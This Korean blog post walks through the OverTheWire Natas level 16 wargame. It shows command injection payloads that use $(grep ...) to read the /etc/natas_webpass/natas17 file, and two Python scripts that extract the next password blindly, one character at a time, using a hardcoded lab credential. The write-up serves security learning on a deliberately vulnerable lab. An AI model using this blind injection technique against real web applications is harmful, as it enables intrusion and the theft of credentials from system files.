Post

Natas Level 16 풀이


로그인


Username: natas16
URL: http://natas16.natas.labs.overthewire.org


특수문자를 더 필터링했다고 한다. 소스코드를 보면,
Desktop View

소스코드가 익숙하다.. 찾아보니 natas9->10과 비슷한 문제처럼 보인다.
그런데 이번에는 Natas 9 to 10 에서 보다 많은 특수문자를 필터링하고 있으며,
key로 받는 입력값도 명령어에 바로 주입되지 않도록 “ “로 막아놨다.




풀이



리눅스에서는 ‘명령어’ 또는 $(명령어)를 이용하면 “” 안에 있는 문자열도 명령어로 인식한다.
‘’는 필터링에 걸리므로, $()를 이용하면 된다.

happy를 입력했을 때, 아래와 같이 뜬다.
Desktop View


happy$(grep a /etc/natas_webpass/natas17)를 입력했을 때도 똑같이 출력된다.
Desktop View
natas17 패스워드 문자열에 a가 없어서 happy를 입력했을 때와 같은 화면이 뜨는 것이다.


반면
happy$(grep b /etc/natas_webpass/natas17) 를 입력했을 때는 아무것도 뜨지 않는다.
Desktop View
natas17 패스워드에 b가 있다는 뜻이다.
이 결과를 이용하여 자동화 프로그램을 쓰면 된다.




자동화 프로그램



먼저 패스워드를 이루는 문자열을 뽑는다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
from requests.auth import HTTPBasicAuth
 
auth = HTTPBasicAuth('natas16', 'TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V')
 
pw_char = ''
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
for char in allchars:
    r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=happy$(grep ' +
                     char + ' /etc/natas_webpass/natas17)', auth=auth)
 
    if 'happy' not in r.text:
        pw_char = pw_char + char
        print(pw_char)


결과
Desktop View

이제 출력된 문자열 bdhkmnsuvBCEHIKLRSUX1790을 하나씩 넣어서 패스워드를 조합하는 프로그램을 쓰자.
앞의 코드랑 비슷하게 쓰면 된다.
이 때 grep의 정규 표현식인 ‘^’ 를 이용한다.

정규 표현식이란 문자열의 집합을 지정하는 방법으로,
특정 규칙을 만족하는 문자열을 찾기 위해 사용된다. 따라서
happy$(grep b /etc/natas_webpass/natas17)는 ‘b’를 어디에나 포함하는 모든 줄을 찾고,
happy$(grep ^b /etc/natas_webpass/natas17)는 오직 ‘b’로 시작하는 줄만을 찾는다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from requests.auth import HTTPBasicAuth
 
auth = HTTPBasicAuth('natas16', 'TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V')
 
pw = ''
pw_char = 'bdhkmnsuvBCEHIKLRSUX1790'
 
for i in range(32):
    for char in pw_char:
        r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=happy$(grep ^' +
                         pw + char + ' /etc/natas_webpass/natas17)', auth=auth)
 
        if 'happy' not in r.text:
            pw = pw + char
            print(pw)
            break


결과
Desktop View

참고 블로그

This post is licensed under CC BY 4.0 by the author.